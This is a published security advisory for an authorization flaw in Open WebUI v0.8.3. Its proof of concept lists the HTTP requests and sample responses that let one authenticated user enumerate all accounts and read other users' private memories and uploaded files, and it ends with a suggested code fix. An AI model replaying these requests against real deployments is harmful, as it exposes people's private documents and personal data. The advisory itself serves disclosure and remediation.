PT-2026-59406 — Pypi Open-Webui

PT-2026-59406 · Pypi · Open-Webui

Published

2026-07-13

Updated

2026-07-13

CVSS v3.1

3.1

Low

Vector

AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N

Summary

Any authenticated user can read other users' private memories via /api/v1/retrieval/query/collection

Details

Vulnerability 1: Missing authorization in collection querying

In backend/open webui/routers/retrieval.py, the query collection handler function accepts a list of collection names but performs no ownership validation:

python

async def query collection handler(
  request: Request,
  form data: QueryCollectionsForm,
  user=Depends(get verified user), # Only checks authentication, not authorization
):

Collection names follow predictable patterns:

User files: file-{FILE UUID}
User memories: user-memory-{USER UUID} (requires Memory experimental feature)

PoC

Environment: Open WebUI v0.8.3, default configuration. Setup:

Register two users: admin (first user) and attacker (second user).
As admin, upload a PDF document through chat.
As admin, enable Memory (Settings → Personalization → Memory) and add some memories.

Exploitation — Step 1: Enumerate all users

GET /api/v1/users/search HTTP/1.1
Host: <target>
Authorization: Bearer <attacker token>

Response reveals all users including admin's UUID, email, and role:

json

{
 "users": [
  {
   "id": "1e4756eb-b064-4781-8b06-4979bca59c8b",
   "name": "user",
   "email": "user@test.com",
   "role": "user"
  },
  {
   "id": "81d2f94a-3dfb-479c-af98-e29f0f40c4ba",
   "name": "admin",
   "email": "admin@test.com",
   "role": "admin"
  }
 ]
}

Exploitation — Step 2: Read admin's memories

Using the admin UUID obtained in Step 1, query their private memory collection:

POST /api/v1/retrieval/query/collection HTTP/1.1
Host: <target>
Authorization: Bearer <attacker token>
Content-Type: application/json

{
 "collection names": ["user-memory-<admin UUID from step 1>"],
 "query": "test"
}

Response returns admin's private memories:

json

{
 "documents": [["User is testing IDOR", "User - Mariusz, security researcher"]]
}

Note: Step 2 requires the Memory experimental feature to be enabled. Steps 1 and 3 work on default configuration.

Exploitation — Step 3: Read admin's private file (Vulnerability 1)

File collections use the pattern file-{FILE UUID}. The file UUID must be obtained separately. Once known:

POST /api/v1/retrieval/query/collection HTTP/1.1
Host: <target>
Authorization: Bearer <attacker token>
Content-Type: application/json

{
 "collection names": ["file-<file UUID>"],
 "query": "test"
}

Response returns admin's private document content and full metadata:

json

{
 "documents": [["Test PDF 
abc  
bcd"]],
 "metadatas": [[{
  "name": "Test PDF.pdf",
  "author": "Mariusz Maik",
  "created by": "81d2f94a-3dfb-479c-af98-e29f0f40c4ba",
  "file id": "243bee10-49ad-466f-884b-67b6b3d74968"
 }]]
}

Impact

Document theft: Any authenticated user can read the full content and metadata of files uploaded by any other user, including admins.
User enumeration: All user UUIDs, emails, names, and roles are exposed to any authenticated user via /api/v1/users/search.
Memory leakage: When the Memory experimental feature is enabled, personal memories stored by users for LLM personalization can be read by any other user — directly contradicting the official documentation.
No admin privileges required: A regular user account is sufficient to exploit all of the above.

Suggested Fix

1. Add ownership validation in /api/v1/retrieval/query/collection:

python

async def query collection handler(
  request: Request,
  form data: QueryCollectionsForm,
  user=Depends(get verified user),
):
  for collection name in form data.collection names:
    if collection name.startswith("user-memory-"):
      owner id = collection name.replace("user-memory-", "")
      if owner id != user.id and user.role != "admin":
        raise HTTPException(status code=403, detail="Access denied")
    elif collection name.startswith("file-"):
      file id = collection name.replace("file-", "")
      # user has access to file — placeholder; verify file ownership
      # e.g. check if created by matches user.id
      if not user has access to file(user.id, file id):
        raise HTTPException(status code=403, detail="Access denied")

2. Restrict /api/v1/users/search to admin-only or limit the fields returned to non-privileged users.

Disclosure

AI was used to assist with writing this report. The vulnerability was identified and confirmed through hands-on testing on Open WebUI v0.8.3. All screenshots are from real testing.

Fix

Found an issue in the description? Have something to add? Feel free to write us 👾

dbugs@ptsecurity.com

Related Identifiers

PYSEC-2026-2765

Affected Products

Open-Webui